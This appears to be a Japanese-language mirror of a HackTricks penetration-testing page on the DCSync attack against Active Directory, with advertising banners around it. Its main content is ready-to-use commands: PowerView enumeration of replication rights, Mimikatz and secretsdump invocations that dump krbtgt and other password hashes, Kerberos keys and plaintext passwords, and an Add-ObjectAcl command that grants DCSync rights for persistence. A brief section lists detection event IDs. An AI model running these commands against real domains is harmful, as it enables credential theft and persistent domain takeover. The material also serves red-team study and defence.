mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-29 16:10:54 +00:00
7.9 KiB
7.9 KiB
DCSync
Trickestを使用して、世界で最も高度なコミュニティツールを駆使したワークフローを簡単に構築し、自動化します。
今すぐアクセス:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
htARTE (HackTricks AWS Red Team Expert)でAWSハッキングをゼロからヒーローまで学ぶ
HackTricksをサポートする他の方法:
- HackTricksに広告を掲載したい、またはHackTricksをPDFでダウンロードしたい場合は、サブスクリプションプランをチェックしてください!
- 公式PEASS & HackTricksグッズを入手する
- The PEASS Familyを発見し、独占的なNFTsのコレクションをチェックする
- 💬 Discordグループに参加するか、テレグラムグループに参加する、またはTwitter 🐦 @carlospolopmをフォローする。
- HackTricksとHackTricks CloudのgithubリポジトリにPRを提出して、ハッキングのコツを共有する。
DCSync
DCSync権限には、ドメイン自体に対するこれらの権限が含まれます:DS-Replication-Get-Changes、Replicating Directory Changes All、Replicating Directory Changes In Filtered Set。
DCSyncに関する重要な注意点:
- DCSync攻撃はドメインコントローラの動作をシミュレートし、他のドメインコントローラにディレクトリレプリケーションサービスリモートプロトコル(MS-DRSR)を使用して情報のレプリケーションを依頼します。MS-DRSRはActive Directoryの有効かつ必要な機能であるため、オフにしたり無効にすることはできません。
- デフォルトでは、ドメイン管理者、エンタープライズ管理者、管理者、およびドメインコントローラグループのみが必要な権限を持っています。
- アカウントのパスワードが可逆暗号化で保存されている場合、Mimikatzにはパスワードをクリアテキストで返すオプションがあります。
列挙
powerview
を使用して、これらの権限を持っているユーザーを確認します:
Get-ObjectAcl -DistinguishedName "dc=dollarcorp,dc=moneycorp,dc=local" -ResolveGUIDs | ?{($_.ObjectType -match 'replication-get') -or ($_.ActiveDirectoryRights -match 'GenericAll') -or ($_.ActiveDirectoryRights -match 'WriteDacl')}
ローカルでのエクスプロイト
Invoke-Mimikatz -Command '"lsadump::dcsync /user:dcorp\krbtgt"'
リモートでのエクスプロイト
secretsdump.py -just-dc <user>:<password>@<ipaddress> -outputfile dcsync_hashes
[-just-dc-user <USERNAME>] #To get only of that user
[-pwd-last-set] #To see when each account's password was last changed
[-history] #To dump password history, may be helpful for offline password cracking
-just-dc
は3つのファイルを生成します:
- NTLMハッシュを含むファイル
- Kerberosキーを含むファイル
- 可逆暗号化が有効に設定されたアカウントのNTDSからの平文パスワードを含むファイル。可逆暗号化を使用しているユーザーは以下のコマンドで取得できます。
Get-DomainUser -Identity * | ? {$_.useraccountcontrol -like '*ENCRYPTED_TEXT_PWD_ALLOWED*'} |select samaccountname,useraccountcontrol
永続性
ドメイン管理者であれば、powerview
を使って任意のユーザーにこの権限を付与することができます:
Add-ObjectAcl -TargetDistinguishedName "dc=dollarcorp,dc=moneycorp,dc=local" -PrincipalSamAccountName username -Rights DCSync -Verbose
その後、以下の出力内の"ObjectType"フィールド内に特権の名前が表示されていることを確認することで、ユーザーに3つの特権が正しく割り当てられたかどうかをチェックできます。
Get-ObjectAcl -DistinguishedName "dc=dollarcorp,dc=moneycorp,dc=local" -ResolveGUIDs | ?{$_.IdentityReference -match "student114"}
軽減策
- セキュリティイベントID 4662(オブジェクトの監査ポリシーが有効になっている必要があります) - オブジェクトに対して操作が実行されました
- セキュリティイベントID 5136(オブジェクトの監査ポリシーが有効になっている必要があります) - ディレクトリサービスオブジェクトが変更されました
- セキュリティイベントID 4670(オブジェクトの監査ポリシーが有効になっている必要があります) - オブジェクトの権限が変更されました
- AD ACL Scanner - ACLのレポートを作成し、比較します。 https://github.com/canix1/ADACLScanner
参考文献
- https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/dump-password-hashes-from-domain-controller-with-dcsync
- https://yojimbosecurity.ninja/dcsync/
AWSハッキングをゼロからヒーローまで学ぶには htARTE (HackTricks AWS Red Team Expert)をご覧ください!
HackTricksをサポートする他の方法:
- HackTricksにあなたの会社を広告したい、またはHackTricksをPDFでダウンロードしたい場合は、サブスクリプションプランをチェックしてください!
- 公式PEASS & HackTricksグッズを入手してください。
- The PEASS Familyを発見してください。私たちの独占的なNFTコレクションです。
- 💬 Discordグループに参加するか、テレグラムグループに参加するか、Twitter 🐦 @carlospolopmでフォローしてください。
- HackTricksとHackTricks CloudのgithubリポジトリにPRを提出して、あなたのハッキングのコツを共有してください。
世界で最も進んだコミュニティツールを駆使して、簡単にワークフローを構築し自動化するためにTrickestを使用してください。
今すぐアクセス:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}